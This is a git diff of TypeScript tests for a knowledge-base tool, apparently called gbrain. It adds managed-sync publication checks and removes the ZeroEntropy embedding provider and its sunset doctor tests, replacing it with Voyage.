+ execFileSync('git', ['-C', f.root, 'add', '-A']);
+ execFileSync('git', ['-C', f.root, 'commit', '-qm', 'Remove the synthetic source file']);
+ await engine.executeRaw('UPDATE pages SET source_path=NULL WHERE id=$1', [f.snapshot.page.id]);
+ const legacy = await legacyDeletion(engine, f, true);
+ expect(await performManagedSync(engine, f.opts)).toMatchObject({ status: 'blocked_by_failures',
+ managedWrite: { write_error: 'page_identity_changed', write_request: { request_id: legacy.requestId } } });
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect((await getWriteRequest(engine, legacy.cursor.authority.writer.principal, legacy.requestId))?.intent).toEqual(legacy.intent);
+});
+
+check('publication revalidates a recreated working-tree deletion and activation after preparation', async engine => {
+ for (const change of ['file', 'activation', 'configured-root', 'origin']) {
+ const f = await fixture(engine);
+ unlinkSync(join(f.root, 'notes/example.md'));
+ const legacy = await legacyDeletion(engine, f, false);
+ const intent = { ...legacy.intent, working: true, rawHash: null };
+ const requestId = randomUUID();
+ const [cursor] = await engine.executeRaw<{ completed_keys: any[] }>("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync' AND fingerprint=$1", [intent.cursorKey]);
+ cursor.completed_keys[0].pending = { requestId, slug: f.slug, pageId: f.snapshot.page.id, intent };
+ await engine.executeRaw("UPDATE op_checkpoints SET completed_keys=$2::text::jsonb WHERE op='managed-sync' AND fingerprint=$1", [intent.cursorKey, JSON.stringify(cursor.completed_keys)]);
+ const admission = { requestId, operation: 'submit_job', sourceId: f.id, sourceIncarnation: legacy.cursor.incarnation,
+ slug: f.slug, pageId: f.snapshot.page.id, worktreeId: legacy.cursor.binding.worktree_id, topologyGeneration: legacy.cursor.binding.topology_generation,
+ principal: legacy.cursor.authority.writer.principal, authority: legacy.cursor.authority.writer, callerIntent: intent, intent };
+ const accepted = await admitWrite(engine, admission);
+ const row = (await claimNextWrite(engine, localHostId()))!;
+ expect(row.id).toBe(accepted.id);
+ const prepared = await prepareManagedSyncMutation(engine, row, { engine: engine.kind });
+ if (change === 'file') writeFileSync(join(f.root, 'notes/example.md'), content);
+ else if (change === 'activation') await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ else if (change === 'origin') await engine.executeRaw('UPDATE pages SET source_path=NULL WHERE id=$1', [f.snapshot.page.id]);
+ else await engine.transaction(async tx => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ await tx.executeRaw('UPDATE sources SET local_path=$2 WHERE id=$1', [f.id, home]);
+ });
+ const published = await publishMutation(engine, row, prepared);
+ expect(published.state).not.toBe('committed');
+ expect(published.error_code).toBe(change === 'activation' ? 'writer_coordinator_required' : change === 'origin' ? 'page_identity_changed' : 'source_changed');
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect((await admitWrite(engine, admission)).id).toBe(accepted.id);
+ expect((await getWriteRequest(engine, admission.principal, requestId))?.intent).toEqual(intent);
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBeNull();
+ }
+});
diff --git a/test/pglite-engine.test.ts b/test/pglite-engine.test.ts
index adf2ebf3ca..ab4ea5e376 100644
--- a/test/pglite-engine.test.ts
+++ b/test/pglite-engine.test.ts
@@ -19,7 +19,7 @@ let engine: PGLiteEngine;
// the gateway is configured (potentially leaked from another shard-6 test
// file in the same bun process) and falls back to DEFAULT_EMBEDDING_DIMENSIONS
// (currently 1280) otherwise. Hard-coding 1536 here would explode under any
-// gateway config, including the new ZE default.
+// gateway config, including the configured default.
let CHUNK_EMBED_DIM = 0;
beforeAll(async () => {
diff --git a/test/provider-env.test.ts b/test/provider-env.test.ts
index 448078e780..f52ddf3e7d 100644
--- a/test/provider-env.test.ts
+++ b/test/provider-env.test.ts
@@ -17,7 +17,7 @@ describe('mergedProviderEnv', () => {
test('folds every file-plane key incl. the Azure fields (unification delta)', () => {
const env = mergedProviderEnv(cfg({
openai_api_key: 'sk-o', anthropic_api_key: 'sk-a', voyage_api_key: 'pa-v',
- zeroentropy_api_key: 'ze', openrouter_api_key: 'or', dashscope_api_key: 'ds',
+ openrouter_api_key: 'or', dashscope_api_key: 'ds',
deepseek_api_key: 'sk-deepseek',
google_api_key: 'gg',
azure_openai_api_key: 'az-secret',
@@ -28,7 +28,6 @@ describe('mergedProviderEnv', () => {
expect(env.OPENAI_API_KEY).toBe('sk-o');
expect(env.ANTHROPIC_API_KEY).toBe('sk-a');
expect(env.VOYAGE_API_KEY).toBe('pa-v');
- expect(env.ZEROENTROPY_API_KEY).toBe('ze');
expect(env.OPENROUTER_API_KEY).toBe('or');
expect(env.DASHSCOPE_API_KEY).toBe('ds');
expect(env.DEEPSEEK_API_KEY).toBe('sk-deepseek');
diff --git a/test/provider-sunset-doctor.serial.test.ts b/test/provider-sunset-doctor.serial.test.ts
deleted file mode 100644
index a49b971a56..0000000000
--- a/test/provider-sunset-doctor.serial.test.ts
+++ /dev/null
@@ -1,270 +0,0 @@
-/**
- * provider_sunset doctor check + embed lock-skip visibility (#3390 follow-up).
- *
- * A brain whose effective embedding model is on a provider with an announced
- * hosted-API shutdown must be flagged on EVERY `gbrain doctor` run (the
- * upgrade banner is one-shot), with a paste-ready `gbrain migrate embeddings`
- * command whose `--dim` is the brain's ACTUAL column width — not the config
- * value, which can drift. Getting `--dim` wrong forces a needless dimension
- * transition + index rebuild.
- *
- * Also pins `EmbedResult.lock_skipped`: a single-flight embed run that did no
- * work because another backfill holds the per-source lock says so, instead of
- * letting `migrate embeddings` misreport "embed failures — re-run to resume"
- * (a hard-killed run leaves its lock behind for up to the lock TTL, so the
- * immediate re-run would no-op).
- *
- * The first test goes through the `buildChecks` orchestrator (exists on
- * master) so the assertion is behavioral: master's doctor simply never
- * surfaces the sunset, and the test fails on the missing check — not on a
- * missing export.
- *
- * `.serial.test.ts`: configures the process-global gateway + GBRAIN_HOME for
- * its whole lifecycle.
- */
-import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
-import { mkdtempSync, rmSync } from 'fs';
-import { join } from 'path';
-import { tmpdir } from 'os';
-import { PGLiteEngine } from '../src/core/pglite-engine.ts';
-import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
-import { buildChecks } from '../src/commands/doctor.ts';
-import { ZEROENTROPY_SUNSET_DATE } from '../src/core/ai/defaults.ts';
-import { runEmbedCore } from '../src/commands/embed.ts';
-import { tryAcquireDbLock, type DbLockHandle } from '../src/core/db-lock.ts';
-import { embedBackfillLockId } from '../src/core/embed-backfill-lock.ts';
-
-let engine: PGLiteEngine;
-let tmpHome: string;
-let savedHome: string | undefined;
-
-beforeAll(async () => {
- savedHome = process.env.GBRAIN_HOME;
- tmpHome = mkdtempSync(join(tmpdir(), 'gbrain-sunset-'));
- process.env.GBRAIN_HOME = tmpHome;
- // Gateway BEFORE initSchema — the schema sizes the embedding column from
- // the configured dims (same order as migrate-embeddings-flow.serial).
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- engine = new PGLiteEngine();
- await engine.connect({ embedding_dimensions: 1280 } as never);
- await engine.initSchema(); // content_chunks.embedding at the shipped-default 1280 width
-});
-
-afterAll(async () => {
- resetGateway();
- await engine.disconnect();
- if (savedHome !== undefined) process.env.GBRAIN_HOME = savedHome;
- else delete process.env.GBRAIN_HOME;
- rmSync(tmpHome, { recursive: true, force: true });
-});
-
-/** The check may legitimately be warn (pre-date) or fail (post-date). */
-const FLAGGED = ['warn', 'fail'];
-
-describe('provider_sunset — doctor flags brains pinned to a sunsetting provider', () => {
- test('buildChecks surfaces the sunset for a zembed-1 brain, with the actual --dim filled in', async () => {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- const checks = await buildChecks(engine, []);
- const sunset = checks.find((c) => c.name === 'provider_sunset');
- expect(sunset, 'doctor never surfaced the provider sunset').toBeDefined();
- expect(FLAGGED).toContain(sunset!.status);
- // The date must be stated plainly. (Consequence wording is pinned per
- // date-branch in the frozen-clock describe below — this test runs on the
- // real clock, so it only asserts date-independent structure.)
- expect(sunset!.message).toContain(ZEROENTROPY_SUNSET_DATE);
- // v0.46.3: paste-ready TARGET-AWARE migration commands — voyage at its valid
- // 1024 width (1280 is not a Voyage step) + the OpenAI keep-width
- // alternative carrying the brain's ACTUAL column width.
- expect(sunset!.message).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- expect(sunset!.message).toContain('openai:text-embedding-3-small --dim 1280');
- // The self-host escape hatch gets equal billing (no migration at all).
- expect(sunset!.message).toContain('Apache-2.0');
- });
-
- test('the ACTUAL column width wins over drifted config', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- // Simulate config/schema drift: column rebuilt at 640, config still 1280.
- await engine.executeRaw(`ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding`);
- await engine.executeRaw(`ALTER TABLE content_chunks ADD COLUMN embedding vector(640)`);
- try {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- const check = await checkProviderSunset(engine);
- expect(FLAGGED).toContain(check.status);
- // v0.46.3 target-aware hint: the OpenAI keep-width alternative carries the
- // ACTUAL width (640), never the drifted config value (1280); the voyage
- // headline is always at its valid 1024 step.
- expect(check.message).toContain('--dim 640');
- expect(check.message).not.toContain('--dim 1280');
- } finally {
- await engine.executeRaw(`ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding`);
- await engine.executeRaw(`ALTER TABLE content_chunks ADD COLUMN embedding vector(1280)`);
- }
- });
-
- test('non-sunsetting provider (reranker disabled too) → ok', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- configureGateway({
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 1536,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- // The default (balanced) mode bundle reranks with a zeroentropyai model,
- // so being truly off the provider requires disabling the reranker too.
- await engine.setConfig('search.reranker.enabled', 'false');
- try {
- const check = await checkProviderSunset(engine);
- expect(check.status).toBe('ok');
- } finally {
- await engine.unsetConfig('search.reranker.enabled');
- }
- });
-
- test('reranker exposure resolves through the mode plane search actually reranks with', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- // NO gateway reranker configured — the reranker is set ONLY as a DB-plane
- // `search.reranker.model` row (v0.48.2: the mode-bundle default itself
- // is live voyage). A gateway-plane read here returns undefined and
- // false-oks the exact post-embedding-migration brains this check exists
- // to protect; the mode plane sees the row.
- configureGateway({
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 1536,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- await engine.setConfig('search.reranker.model', 'zeroentropyai:zerank-2');
- try {
- const check = await checkProviderSunset(engine);
- expect(FLAGGED).toContain(check.status);
- expect(check.message).toContain('zerank-2');
- expect(check.message).toContain('search.reranker');
- // Embeddings are safe — no migration command in this message.
- expect(check.message).not.toContain('migrate embeddings --to');
-
- // The documented fix — the search.reranker.enabled=false config
- // override — clears the exposure (mode plane honors config overrides).
- await engine.setConfig('search.reranker.enabled', 'false');
- const cleared = await checkProviderSunset(engine);
- expect(cleared.status).toBe('ok');
- } finally {
- await engine.unsetConfig('search.reranker.enabled');
- await engine.unsetConfig('search.reranker.model');
- }
- });
-
- test('no reranker row at all → the live voyage bundle default is not an exposure', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- configureGateway({
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 1536,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- const check = await checkProviderSunset(engine);
- expect(check.status).toBe('ok');
- });
-});
-
-describe('provider_sunset — date + exposure gating (frozen clock)', () => {
- const SUNSET = Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`);
- const PRE = SUNSET - 86_400_000;
- const POST = SUNSET + 86_400_000;
- const ZE_GATEWAY = {
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- };
-
- test('post-date, zero embedded vectors → warn, NOT fail (doctor-as-CI-gate stays green)', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- configureGateway(ZE_GATEWAY);
- // Blocker-1 repro: on the date, every stock-default brain — including
- // zero-vector fresh installs with no key — used to hard-fail and flip
- // doctor's exit code with no code change.
- const check = await checkProviderSunset(engine, POST);
- expect(check.status).toBe('warn');
- expect(check.message).toContain('No embedded vectors');
- });
-
- test('post-date + embedded vectors on the dead provider → fail; pre-date → warn', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- configureGateway(ZE_GATEWAY);
- const pageRows = await engine.executeRaw<{ id: string }>(
- `INSERT INTO pages (slug, type, title) VALUES ('sunset-exposure-probe', 'note', 'Sunset probe') RETURNING id`,
- );
- const vec = `[${Array(1280).fill(0).join(',')}]`;
- await engine.executeRaw(
- `INSERT INTO content_chunks (page_id, chunk_index, chunk_text, embedding) VALUES ($1, 0, 'probe', $2::vector)`,
- [pageRows[0].id, vec],
- );
- try {
- const past = await checkProviderSunset(engine, POST);
- expect(past.status).toBe('fail');
- expect(past.message).toContain('existing vectors');
- const before = await checkProviderSunset(engine, PRE);
- expect(before.status).toBe('warn');
- } finally {
- await engine.executeRaw(`DELETE FROM content_chunks WHERE page_id = $1`, [pageRows[0].id]);
- await engine.executeRaw(`DELETE FROM pages WHERE id = $1`, [pageRows[0].id]);
- }
- });
-
- test('doctor.suppress_provider_sunset silences the check', async () => {
- const { checkProviderSunset } = await import('../src/commands/doctor.ts');
- configureGateway(ZE_GATEWAY);
- await engine.setConfig('doctor.suppress_provider_sunset', 'true');
- try {
- const check = await checkProviderSunset(engine, POST);
- expect(check.status).toBe('ok');
- expect(check.message).toContain('doctor.suppress_provider_sunset');
- } finally {
- await engine.unsetConfig('doctor.suppress_provider_sunset');
- }
- });
-});
-
-describe('EmbedResult.lock_skipped — single-flight bail is observable', () => {
- test('a held per-source lock makes runEmbedCore report lock_skipped', async () => {
- // Dims match the column (1280) so the embed dim preflight passes; the
- // fake key satisfies the credential preflight (no embed call happens —
- // the lock bail fires before any work).
- configureGateway({
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 1280,
- env: { OPENAI_API_KEY: 'sk-test-fake', ZEROENTROPY_API_KEY: 'ze-test-fake' },
- });
- const sources = await engine.listAllSources();
- const ids = sources.length > 0 ? sources.map((s) => s.id) : ['default'];
- const locks: DbLockHandle[] = [];
- for (const sid of ids) {
- const lock = await tryAcquireDbLock(engine, embedBackfillLockId(sid), 60);
- expect(lock).not.toBeNull();
- locks.push(lock!);
- }
- try {
- const result = await runEmbedCore(engine, { stale: true, singleFlight: true, quiet: true });
- expect(result.embedded).toBe(0);
- // Behavioral pin: master returns the same zero-work result WITHOUT the
- // flag, so `migrate embeddings` can't tell "lock held" from "embed
- // failures" and prints a resume hint that a re-run cannot honor.
- expect(result.lock_skipped).toBe(true);
- } finally {
- for (const l of locks) await l.release();
- }
- });
-
- test('no lock contention → lock_skipped is not set', async () => {
- const result = await runEmbedCore(engine, { stale: true, singleFlight: true, quiet: true });
- expect(result.lock_skipped).toBeFalsy();
- });
-});
diff --git a/test/providers.test.ts b/test/providers.test.ts
index bd7efbb872..b184c3f631 100644
--- a/test/providers.test.ts
+++ b/test/providers.test.ts
@@ -2,12 +2,11 @@
* `gbrain providers` — pure formatter + envReady tests.
*
* `runTest` and `runExplain` aren't covered here because they touch the
- * gateway / loadConfig; E2E exercises those. The sunset-aware env block and
- * the shared marker ARE covered — they're pure formatters by design.
+ * gateway / loadConfig; E2E exercises those.
*/
import { describe, test, expect } from 'bun:test';
-import { formatRecipeTable, formatEnvOutput, sunsetMarker, sunsetMarkerText, envReady } from '../src/commands/providers.ts';
+import { formatRecipeTable, formatEnvOutput, envReady } from '../src/commands/providers.ts';
import { listRecipes, getRecipe } from '../src/core/ai/recipes/index.ts';
import type { Recipe } from '../src/core/ai/types.ts';
@@ -81,83 +80,31 @@ describe('formatRecipeTable', () => {
}
});
- test('embedding-only recipe (zeroentropyai) shows yes/—/— for tiers', () => {
+ test('embedding-only recipe (voyage) shows yes/—/— for tiers', () => {
const out = formatRecipeTable(listRecipes(), {});
- const zeLine = out.split('\n').find(line => line.startsWith('zeroentropyai'));
- expect(zeLine).toBeDefined();
- // ZE has embedding but no expansion or chat
- expect(zeLine).toContain('yes');
- expect(zeLine).toContain('—');
+ const voyageLine = out.split('\n').find(line => line.startsWith('voyage'));
+ expect(voyageLine).toBeDefined();
+ // Voyage has embedding but no expansion or chat
+ expect(voyageLine).toContain('yes');
+ expect(voyageLine).toContain('—');
});
test('isolated subset renders correctly (picker reuses this)', () => {
const openai = getRecipe('openai');
- const ze = getRecipe('zeroentropyai');
- expect(openai && ze).toBeTruthy();
- const out = formatRecipeTable([openai!, ze!], { OPENAI_API_KEY: 'sk-test' });
+ const voyage = getRecipe('voyage');
+ expect(openai && voyage).toBeTruthy();
+ const out = formatRecipeTable([openai!, voyage!], { OPENAI_API_KEY: 'sk-test' });
const lines = out.split('\n');
// header + separator + 2 recipe rows
expect(lines.length).toBe(4);
expect(lines[2]).toContain('openai');
expect(lines[2]).toContain('✓ ready');
- expect(lines[3]).toContain('zeroentropyai');
- // v0.46.3: sunsetting providers show the DEPRECATED annotation instead of
- // key-readiness — "ready" on a dying API is not a state to advertise.
- expect(lines[3]).toContain('DEPRECATED');
- expect(lines[3]).toContain('2026-09-04');
- expect(lines[3]).toContain('voyage:voyage-4');
- });
-});
-
-describe('sunsetMarker (the one shared deprecation string)', () => {
- test('null for a living provider', () => {
- expect(sunsetMarker(getRecipe('voyage')!)).toBeNull();
- expect(sunsetMarker(getRecipe('openai')!)).toBeNull();
- });
-
- test('marker for a sunsetting provider names the date and replacement', () => {
- const m = sunsetMarker(getRecipe('zeroentropyai')!);
- expect(m).toContain('DEPRECATED');
- expect(m).toContain('2026-09-04');
- expect(m).toContain('voyage:voyage-4');
- });
-
- test('no replacement metadata → date-only marker, never "undefined"', () => {
- const m = sunsetMarker({ sunset: { date: '2027-01-01', message: 'x' } } as Pick<Recipe, 'sunset'>);
- expect(m).toContain('2027-01-01');
- expect(m).not.toContain('undefined');
- });
-
- test('sunsetMarkerText primitive (explain-row consumer): with and without replacement', () => {
- expect(sunsetMarkerText('2026-09-04', 'voyage:voyage-4')).toBe(
- '⚠ DEPRECATED — hosted API ends 2026-09-04; use voyage:voyage-4',
- );
- expect(sunsetMarkerText('2026-09-04')).toBe('⚠ DEPRECATED — hosted API ends 2026-09-04');
- expect(sunsetMarkerText('2026-09-04', null)).not.toContain('undefined');
+ expect(lines[3]).toContain('voyage');
+ expect(lines[3]).toContain('✗ missing VOYAGE_API_KEY');
});
});
describe('formatEnvOutput (providers env <id>)', () => {
- test('sunsetting provider: DEPRECATED + migrate command, NO signup funnel', () => {
- const ze = getRecipe('zeroentropyai')!;
- const out = formatEnvOutput(ze, {});
- expect(out).toContain('DEPRECATED');
- expect(out).toContain('2026-09-04');
- expect(out).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run');
- // The signup funnel must be gone three weeks before shutdown:
- expect(out).not.toContain('dashboard.zeroentropy.dev');
- expect(out).not.toContain('Get an API key');
- // Key STATUS still renders so existing users can see what's configured:
- expect(out).toContain('ZEROENTROPY_API_KEY');
- expect(out).toContain('✗ not set');
- });
-
- test('sunsetting provider with a key set still shows ✓ set', () => {
- const ze = getRecipe('zeroentropyai')!;
- const out = formatEnvOutput(ze, { ZEROENTROPY_API_KEY: 'sk-fake' });
- expect(out).toContain('✓ set');
- expect(out).toContain('DEPRECATED');
- });
test('living provider control: setup funnel intact', () => {
const voyage = getRecipe('voyage')!;
@@ -166,28 +113,6 @@ describe('formatEnvOutput (providers env <id>)', () => {
expect(out).toContain('Setup:');
});
- test('sunset recipe without replacement metadata prints no "undefined"', () => {
- const fake = {
- id: 'fake-sunset',
- name: 'Fake Sunset',
- tier: 'native',
- touchpoints: {},
- auth_env: { required: ['FAKE_KEY'] },
- sunset: { date: '2027-01-01', message: 'Fake is shutting down.' },
- } as unknown as Recipe;
- const out = formatEnvOutput(fake, {});
- expect(out).toContain('DEPRECATED');
- expect(out).not.toContain('undefined');
- expect(out).not.toContain('Replacement:');
- expect(out).toContain('migrate embeddings');
- });
-
- test('sunset block positively asserts message + Replacement line (ZE fixture)', () => {
- const out = formatEnvOutput(getRecipe('zeroentropyai')!, {});
- expect(out).toContain('ZeroEntropy is shutting down its hosted API.');
- expect(out).toContain('Replacement: voyage:voyage-4 (embedding), voyage:rerank-2.5 (reranker)');
- });
-
test('keyless recipe (ollama): Required: (none) arm renders', () => {
const ollama = getRecipe('ollama')!;
const out = formatEnvOutput(ollama, {});
diff --git a/test/query-cache-knobs-hash.serial.test.ts b/test/query-cache-knobs-hash.serial.test.ts
index 20495c869b..845baa8c13 100644
--- a/test/query-cache-knobs-hash.serial.test.ts
+++ b/test/query-cache-knobs-hash.serial.test.ts
@@ -52,7 +52,7 @@ const balancedHash = knobsHash(resolveSearchMode({ mode: 'balanced' }));
const tokenmaxHash = knobsHash(resolveSearchMode({ mode: 'tokenmax' }));
beforeAll(async () => {
- // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1280 (ZE Matryoshka).
+ // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1024 (Voyage Matryoshka).
// The makeEmbedding fixture below emits 1536-dim unit vectors. If we let
// initSchema() inherit the default, query_cache.embedding gets sized at
// halfvec(1280) and the inserts throw "expected 1280 dimensions, not 1536".
diff --git a/test/query-cache.test.ts b/test/query-cache.test.ts
index b98ecb0127..bc926ad86f 100644
--- a/test/query-cache.test.ts
+++ b/test/query-cache.test.ts
@@ -80,11 +80,11 @@ const META: HybridSearchMeta = {
};
beforeAll(async () => {
- // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1280 (ZE Matryoshka).
+ // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1024 (Voyage Matryoshka).
// This test hardcodes DIM=1536 in its embeddings. If another test file in
// the same shard configured the gateway before us, initSchema() would size
- // query_cache.embedding at vector(1280) and every insert below would fail
- // with "expected 1280 dimensions, not 1536". Pin the gateway to 1536d
+ // query_cache.embedding at vector(1024) and every insert below would fail
+ // with "expected 1024 dimensions, not 1536". Pin the gateway to 1536d
// explicitly so this file is hermetic regardless of cross-file state.
resetGateway();
configureGateway({
diff --git a/test/r1-namedthing-rerank-ab.test.ts b/test/r1-namedthing-rerank-ab.test.ts
index d966268da8..0962b1a23c 100644
--- a/test/r1-namedthing-rerank-ab.test.ts
+++ b/test/r1-namedthing-rerank-ab.test.ts
@@ -233,8 +233,8 @@ describe('r1Verdict (pure)', () => {
describe('pairing + ON-arm integrity (pure)', () => {
const ready: RerankerReadiness = {
model: R1_ON_RERANKER_MODEL, provider: 'voyage', modelId: 'rerank-2.5', recipeKnown: true, hasTouchpoint: true,
- modelListed: true, requiredKey: 'VOYAGE_API_KEY', keyPresent: true, sunset: null, sunsetPassed: false,
- selfHosted: false, sunsetBlocks: false, ready: true,
+ modelListed: true, requiredKey: 'VOYAGE_API_KEY', keyPresent: true,
+ selfHosted: false, ready: true,
};
test('pairArms zips by position and refuses mismatched question sets', () => {
diff --git a/test/readme-hero-anchors.test.ts b/test/readme-hero-anchors.test.ts
index 423bb5f13c..2769ce0f78 100644
--- a/test/readme-hero-anchors.test.ts
+++ b/test/readme-hero-anchors.test.ts
@@ -10,16 +10,6 @@
* If this test fails, ask: did we deliberately rotate the headline?
* - If yes: update the anchors here AND in the corresponding plan/spec.
* - If no: the README rewrite dropped something it shouldn't have.
- *
- * v0.40.8.1 — Garry rewrote the README to drop all version chatter from
- * the lead (CHANGELOG.md owns version history; README is current docs).
- * The original "ZeroEntropy default story" anchor was deliberately rotated
- * out of the hero. The new load-bearing anchor is the search-vs-answer
- * framing ("Search gives you raw pages. GBrain gives you the answer.")
- * which is the headline differentiator of the post-rewrite hero.
- * ZeroEntropy still appears further down the README; the guard just no
- * longer pins it to the hero specifically. The reviewed harness onboarding
- * rewrite now leads with controlled memory and distinct local/hosted paths.
*/
import { describe, test, expect } from 'bun:test';
diff --git a/test/relational-fanout.test.ts b/test/relational-fanout.test.ts
index 112e3459ae..10277b5c16 100644
--- a/test/relational-fanout.test.ts
+++ b/test/relational-fanout.test.ts
@@ -26,7 +26,7 @@ beforeAll(async () => {
eng = new PGLiteEngine();
await eng.connect({});
await eng.initSchema();
- DIM = await probeEmbeddingDim(eng); // match the schema's column width (1280 ZE / 1536 OpenAI)
+ DIM = await probeEmbeddingDim(eng); // match the schema's column width (1024 Voyage / 1536 OpenAI)
const pages: Array<[string, string, string]> = [
['companies/widget-co', 'company', 'Widget Co'],
diff --git a/test/relational-recall.test.ts b/test/relational-recall.test.ts
index 8a36026c0f..ad0bc71307 100644
--- a/test/relational-recall.test.ts
+++ b/test/relational-recall.test.ts
@@ -22,7 +22,7 @@ beforeAll(async () => {
eng = new PGLiteEngine();
await eng.connect({});
await eng.initSchema();
- const dim = await probeEmbeddingDim(eng); // match schema column width (1280 ZE / 1536 OpenAI)
+ const dim = await probeEmbeddingDim(eng); // match schema column width (1024 Voyage / 1536 OpenAI)
await eng.putPage('companies/widget-co', { type: 'company', title: 'Widget Co', compiled_truth: 'A payments company.', timeline: '' });
// The investor's body deliberately NEVER mentions Widget Co — only the edge connects them.
diff --git a/test/rerank-audit.test.ts b/test/rerank-audit.test.ts
index d5b13f58b0..a5b623c700 100644
--- a/test/rerank-audit.test.ts
+++ b/test/rerank-audit.test.ts
@@ -44,7 +44,7 @@ describe('rerank-audit JSONL round-trip', () => {
test('log → read returns the same event shape', async () => {
await withFreshAuditDir(() => {
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'auth',
query_hash: 'a1b2c3d4',
doc_count: 30,
@@ -53,7 +53,7 @@ describe('rerank-audit JSONL round-trip', () => {
const events = readRecentRerankFailures(7);
expect(events.length).toBe(1);
expect(events[0]).toMatchObject({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'auth',
query_hash: 'a1b2c3d4',
doc_count: 30,
@@ -68,7 +68,7 @@ describe('rerank-audit JSONL round-trip', () => {
await withFreshAuditDir(() => {
const longMsg = 'x'.repeat(500);
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'unknown',
query_hash: 'deadbeef',
doc_count: 0,
@@ -83,7 +83,7 @@ describe('rerank-audit JSONL round-trip', () => {
await withFreshAuditDir(() => {
for (let i = 0; i < 5; i++) {
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'network',
query_hash: `hash${i}`,
doc_count: 30,
@@ -102,7 +102,7 @@ describe('rerank-audit JSONL round-trip', () => {
const filepath = path.join(tmpDir, filename);
// First write a valid row, then garbage, then another valid row.
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'timeout',
query_hash: 'good1',
doc_count: 30,
@@ -111,7 +111,7 @@ describe('rerank-audit JSONL round-trip', () => {
fs.appendFileSync(filepath, 'not valid json\n');
fs.appendFileSync(filepath, '{"partial":\n');
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'timeout',
query_hash: 'good2',
doc_count: 30,
@@ -155,7 +155,7 @@ describe('ISO-week filename rotation', () => {
await withFreshAuditDir((tmpDir) => {
// Write a row in the "current" week's file.
logRerankFailure({
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'auth',
query_hash: 'now',
doc_count: 1,
@@ -169,7 +169,7 @@ describe('ISO-week filename rotation', () => {
lastWeekPath,
JSON.stringify({
ts: new Date(Date.now() - 3 * 86400000).toISOString(),
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
reason: 'auth',
query_hash: 'old',
doc_count: 1,
diff --git a/test/rerank-no-key.serial.test.ts b/test/rerank-no-key.serial.test.ts
index 7fe8f8181c..62141dfadd 100644
--- a/test/rerank-no-key.serial.test.ts
+++ b/test/rerank-no-key.serial.test.ts
@@ -7,9 +7,7 @@
* - the HTTP call is skipped and RerankError('no_key') is thrown;
* - ONE audit row per process per model across repeated calls, and NO
* stderr line (a shell-per-query agent must not see a line per search);
- * - `_resetSunsetWarningsForTest()` clears the memo (test seam);
- * - sunset keeps precedence over no_key (explicit ZE model after the date,
- * no ZE key → sunset_short_circuit);
+ * - `configureGateway()` clears the memo (test seam);
* - HTTP 401/403 with the key present stays `auth` (key present but rejected);
* - applyReranker passes results through unchanged, adds no per-query row,
* and fires `onSkip('no_key')` so hybrid.ts can stamp `reranker_skipped`.
@@ -26,8 +24,6 @@ import {
rerank,
RerankError,
__setRerankTransportForTests,
- __setSunsetClockForTests,
- _resetSunsetWarningsForTest,
} from '../src/core/ai/gateway.ts';
